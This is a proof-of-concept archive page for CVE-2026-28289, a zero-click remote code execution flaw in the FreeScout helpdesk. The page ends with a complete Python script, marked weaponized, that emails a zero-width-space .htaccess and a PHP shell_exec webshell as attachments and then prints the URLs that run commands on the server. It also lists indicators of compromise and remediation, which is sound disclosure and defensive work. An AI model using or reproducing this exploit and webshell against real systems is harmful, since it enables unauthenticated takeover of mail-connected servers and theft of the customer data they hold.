PoC Archive PoC Archive
Critical CVE-2026-28289 patched

FreeScout Zero-Click RCE via Email Attachment Filename Sanitization Bypass ("Mail2Shell") — CVE-2026-28289

by 0xAshwesker (Ashwesker) · 2026-07-05

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-28289
Category
web
Affected product
FreeScout helpdesk/mailbox application
Affected versions
<= 1.8.206 (patched in 1.8.207)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / Researcher0xAshwesker (Ashwesker)
CVE / AdvisoryCVE-2026-28289
Categoryweb
SeverityCritical
CVSS Score10.0 (per repo README)
StatusWeaponized
Tagsfreescout, rce, zero-click, email-attachment, htaccess-bypass, unicode-bypass, webshell, helpdesk
RelatedN/A

Affected Target

FieldValue
Software / SystemFreeScout helpdesk/mailbox application
Versions Affected<= 1.8.206 (patched in 1.8.207)
Language / PlatformPython 3 (smtplib-based PoC), target is PHP/Apache
Authentication RequiredNo
Network Access RequiredYes (email delivery to a mailbox monitored by FreeScout)

Summary

FreeScout automatically saves incoming email attachments to a predictable, web-accessible storage path, and attempts to block dangerous filenames such as .htaccess. This PoC bypasses that filter by prepending a zero-width Unicode character to the .htaccess filename, which slips past the sanitization check while still being interpreted by Apache as a real .htaccess file. The attacker emails both this bypassed .htaccess (which sets AddHandler application/x-httpd-php .txt) and a webshell.txt file (containing a PHP command-execution snippet) as attachments to any address monitored by the target FreeScout instance. Once FreeScout saves the attachments, the attacker locates the resulting attachment directory and directly requests webshell.txt?cmd=<command> over HTTP to achieve unauthenticated, zero-click remote code execution as the web server user.


Vulnerability Details

Root Cause

Incomplete filename sanitization: FreeScout’s attachment filter blocks the literal string .htaccess but does not normalize Unicode before the check, so a filename prefixed with a zero-width space (​.htaccess) bypasses the block while the filesystem still treats it as a functional .htaccess file that Apache honors via AllowOverride.

Attack Vector

  1. Craft two attachments: a zero-width-space-prefixed .htaccess that maps .txt extensions to the PHP handler, and a webshell.txt containing a shell_exec-based command runner.
  2. Email both attachments to any address monitored by the target FreeScout mailbox — no authentication or user interaction on the target is required.
  3. FreeScout automatically stores the attachments under a predictable, web-accessible storage/attachment/<date>/<id>/ path.
  4. Locate the resulting path (e.g. via server access during testing, or through predictable/enumerable directory structure) and request webshell.txt?cmd=<command> directly over HTTP.
  5. The malicious .htaccess causes Apache to execute webshell.txt as PHP, running the attacker’s command and returning output in the response.

Impact

Full unauthenticated, zero-click remote code execution as the web server user (e.g. www-data) on any internet-facing FreeScout instance that accepts inbound email, leading to complete server compromise.


Environment / Lab Setup

Target:   FreeScout <= 1.8.206 with Apache (AllowOverride enabled) and inbound email processing configured
Attacker: Python 3, SMTP credentials/relay to deliver the crafted email, SSH/browser access to locate and hit the resulting webshell path

Proof of Concept

PoC Script

See Mail2Shell.py in this folder.

1
sudo python3 Mail2Shell.py http://target

Prompts for SMTP credentials, generates the zero-width-space .htaccess and webshell.txt payloads, emails them as attachments to the target FreeScout mailbox, then prints instructions for locating the saved attachment path and invoking webshell.txt?cmd=whoami to confirm RCE.


Detection & Indicators of Compromise

Signs of compromise:

  • .htaccess files with unusual/zero-width characters appearing under storage/attachment/.
  • Unexplained .txt files being served with PHP execution / returning command output.
  • Inbound emails with attachments named similarly to .htaccess or generic webshell filenames.

Remediation

ActionDetail
Primary fixUpgrade FreeScout to 1.8.207 or later
Interim mitigationDisable AllowOverride All for attachment directories, restrict execution of scripts within storage/attachment/, and monitor/reject attachments containing non-standard Unicode in filenames.

References


Notes

Mirrored from https://github.com/0xAshwesker/CVE-2026-28289 on 2026-07-05.

Mail2Shell.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
import sys
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from datetime import datetime

print("=== https://github.com/0xAshwesker/CVE-2026-28289  ===")
print("=== CVE-2026-28289 Mail2Shell PoC (Zero-Click RCE) ===")
print("Legal testing ONLY on your own server\n")

if len(sys.argv) < 2:
    print("Usage: sudo python3 CVE-2026-28289.py http://target")
    sys.exit(1)

target = sys.argv[1].rstrip('/')
print(f"Target: {target}\n")

# Interactive prompts (SMTP details required for email attack)
smtp_server = input("SMTP Server (e.g. smtp.gmail.com): ")
smtp_port = int(input("SMTP Port (usually 587): "))
smtp_user = input("SMTP Username (your email): ")
smtp_pass = input("SMTP Password/App Password: ")
from_email = input("From Email: ")
to_email = input("To Email (ANY mailbox configured in FreeScout): ")

# Create malicious files (official bypass method)
zwsp = '\u200b'
htaccess_name = zwsp + '.htaccess'
with open(htaccess_name, 'w', encoding='utf-8') as f:
    f.write('AddHandler application/x-httpd-php .txt\n')

webshell_name = 'webshell.txt'
with open(webshell_name, 'w', encoding='utf-8') as f:
    f.write('<?php if(isset($_GET["cmd"])) { echo "<pre>".shell_exec($_GET["cmd"])."</pre>"; } ?>')

print("✅ Malicious files created (.htaccess + webshell.txt)")

# Send the email (zero-click trigger)
msg = MIMEMultipart()
msg['From'] = from_email
msg['To'] = to_email
msg['Subject'] = f"Mail2Shell Test {datetime.now()}"

for filename in [htaccess_name, webshell_name]:
    with open(filename, 'rb') as f:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(f.read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', f'attachment; filename="{filename}"')
        msg.attach(part)

try:
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    server.login(smtp_user, smtp_pass)
    server.send_message(msg)
    server.quit()
    print("✅ Email sent successfully! (Zero-Click RCE triggered)")
except Exception as e:
    print(f"❌ SMTP Error: {e}")
    sys.exit(1)

# Cleanup local files
import os
os.remove(htaccess_name)
os.remove(webshell_name)

print("\n" + "="*60)
print("NEXT STEP (you have server access):")
print("SSH to your FreeScout server and run this command:")
print(f"find /var/www/html/storage/attachment -name webshell.txt -type f 2>/dev/null")
print("(change /var/www/html if your install path is different)")
print("\nWhen you find the path (example: /storage/attachment/2026/03/05/15/webshell.txt)")
print("Open in browser:")
print(f"{target}/storage/attachment/[FULL-PATH-FROM-FIND]/webshell.txt?cmd=whoami")
print(f"{target}/storage/attachment/[FULL-PATH-FROM-FIND]/webshell.txt?cmd=id")
print("="*60)

print("\nYou now have full RCE. Test done? Patch immediately to 1.8.207 + set AllowOverride None")